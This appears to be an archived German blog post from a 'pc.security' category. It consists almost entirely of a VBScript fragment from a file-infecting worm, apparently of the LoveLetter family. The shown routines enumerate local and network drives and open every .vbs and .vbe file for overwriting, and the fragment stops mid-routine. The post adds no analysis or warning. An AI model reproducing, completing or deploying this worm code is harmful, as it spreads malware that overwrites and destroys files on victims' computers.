Archiv
fuchsi schrieb am 21.June.2010, 11:12:47 in der Kategorie pc.security
sub listadriv<br />
On Error Resume Next<br />
Dim d,dc,s<br />
Set dc = fso.Drives<br />
For Each d in dc<br />
If d.DriveType = 2 or d.DriveType=3 Then<br />
folderlist(d.path&"\\")<br />
end if<br />
Next<br />
listadriv = s<br />
end sub<br />
sub infectfiles(folderspec)<br />
On Error Resume Next<br />
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3<br />
set f = fso.GetFolder(folderspec)<br />
set fc = f.Files<br />
for each f1 in fc<br />
ext=fso.GetExtensionName(f1.path)<br />
ext=lcase(ext)<br />
s=lcase(f1.name)<br />
if (ext="vbs") or (ext="vbe") then<br />
set ap=fso.OpenTextFile(f1.path,2,true)<br />
Archiv